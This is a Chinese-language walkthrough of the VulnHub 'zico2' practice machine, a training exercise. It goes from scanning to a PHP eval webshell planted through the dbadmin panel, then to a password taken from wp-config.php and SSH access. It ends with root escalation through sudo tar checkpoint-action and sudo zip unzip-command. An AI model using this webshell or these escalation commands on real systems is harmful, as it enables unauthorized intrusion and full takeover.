前言
这次练习的靶机是vulnhub平台的zico2。下载地址为:https://www.vulnhub.com/entry/zico2-1,210/。
虚拟机配置
这次采用的网络连接模式依然是NAT模式,为了避免扫描到其他物理主机。在导入虚拟机后,右击zico2靶机,然后选中配置。依次点击网络配置
->NAT模式
->高级
->生成
,然后确认即可。
收集信息
通过arp协议扫描局域网,又快又准,但是只能扫描局域网内的ip。
arp-scan -l
发现靶机的IP地址为 `192.168.119.218,然后用nmap对靶机进行详细地扫描。
nmap -A -sV -p- --min-parallelism 100 192.168.119.218
-A 代表综合性扫描,能收集很多重要的信息
-sV 代表扫描主要的服务信息
-p- 参数p是指定端口,后面的
-
代表所有端口。
靶机开放了80端口,111端口和53953端口,查一下发现111可能存在漏洞,但是这个漏洞只能使目标主机崩溃,所以没有过多研究。然后继续扫描目录。
dirsearch -u 192.168.119.218
获取SHELL
目录扫描发现dbadmin
目录,看名字应该是与数据库的管理有关,打开这个目录观察一下。
发现了一个登陆页面,随便输入一个密码,一不小心就进了管理页面。
经过一番捣鼓,最终发现这个后台可以写入webshell。首先随便创建一个数据库。
然后在该库里创建一个表。
随便设置一个字段名称,类型为TEXT
。
在该表中写入一句话木马。
<?php @eval($_POST["a"]);?>
此时还无法访问到该一句话木马,因为数据库文件的默认存放位置是 /usr/databases/
,在该目录中的文件是无法直接访问到的,所以我们需要通过改名来移动文件到可以访问的位置。
将原来的/usr/databases/a
改为 a.php
。此处不要使用绝对路径
,需要使用相对路径
。此处使用相对路径
,数据库文件就会移动到当前管理页面的同级目录中,也就是 /dbadmin/
中。
访问 http://192.168.119.218/dbadmin/
,发现a.php已经存在这个目录中了。
然后通过蚁剑就可以连接到该一句话木马。
提权
获取shell尝试一下suid提权,没有成功。然后去查找靶机中有没有存在敏感信息。最终在家目录中wordpress中的配置文件wp-config.php
中找到了zico
账号和密码 sWfCsfJSPV9H3AmQzw8
。
尝试用ssh登陆,成功连接上了。
ssh zico@192.168.119.218
尝试各种提权方法,最终发现可以通过sudo提权。可以通过具有root权限的tar和zip来提权。
sudo -l
通过tar提权:
echo "/bin/bash" > shell.sh
sudo tar cf archive.tar * --checkpoint=1 --checkpoint-action=exec=sh shell.sh
–checkpoint=n 每写入n个记录之后设置一个检查点(默认值为10)。
–checkpoint-action=cmd 在每个checkpoint(检查点)上执行cmd。
更多详情可参考:https://blog.csdn.net/qq_33958714/article/details/111084322
通过zip提权:
touch a
sudo zip a.zip a -T --unzip-command="sh -c /bin/bash"
-T --unzip-command=cmd 代表在压缩文件后对压缩文件进行检测,检测文件时不是用系统标准的
unzip -tqq
来检测,而是使用通过–unzip-command指定的cmd
命令来检查文件。可能我翻译不是太准确,这里贴出一张官方文档的图片供大家参考。
读取flag!
cat /etc/flag.txt
参考文献
[1] https://www.icode9.com/content-4-1121428.html,tar命令提权
[2] https://blog.csdn.net/qq_33958714/article/details/111084322,使用tar --checkpoint提权操作 详解–checkpoint-action的参数及作用
[3] https://blog.csdn.net/qq_36412526/article/details/113500176,linux unzip 命令详解
[4] https://blog.csdn.net/weixin_46700042/article/details/109649363,使用Zip命令进行本地提权(类Unix系统)